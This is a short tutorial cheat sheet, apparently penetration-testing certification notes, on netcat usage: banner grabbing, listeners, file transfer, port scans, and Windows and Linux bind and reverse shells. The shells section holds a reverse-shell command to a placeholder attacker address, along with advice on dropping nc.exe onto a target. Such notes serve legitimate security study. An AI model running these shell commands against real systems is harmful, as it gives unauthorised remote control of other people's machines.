Skip to content
Home

Netcat: the TCP/IP swiss-army knife

Banner grabbing, port scanning, file transfer, and bind/reverse shells.

bash·1 min read··INE Certification

Netcat reads and writes raw TCP/UDP connections, which lets it do banner grabbing, quick port checks, file transfers, and handle both ends of a bind or reverse shell.

Connect and listen

# Connect / banner grab
nc <target_ip> <port>

# Listener
nc -nvlp <port>            # n=no DNS, v=verbose, l=listen, p=port

File transfer

nc -nvlp <port> > received_file      # receiver
nc -nv <ip> <port> < file_to_send    # sender

Shells

# Bind shell (listener runs ON the target)
nc -nvlp <port> -e cmd.exe           # Windows target
nc -nvlp <port> -c /bin/bash         # Linux target (-c is the Linux-only equivalent of -e)

# Reverse shell (attacker listens, target connects out)
nc -nv <attacker_ip> <port> -e cmd.exe

Other modes

OptionUse
-zBare-bones port scan: nc -zv <target> <port-range>
-e / -cExecute a program on connection (shells)

Kali keeps a portable nc.exe under /usr/share/windows-binaries for when you need to drop it onto a Windows target.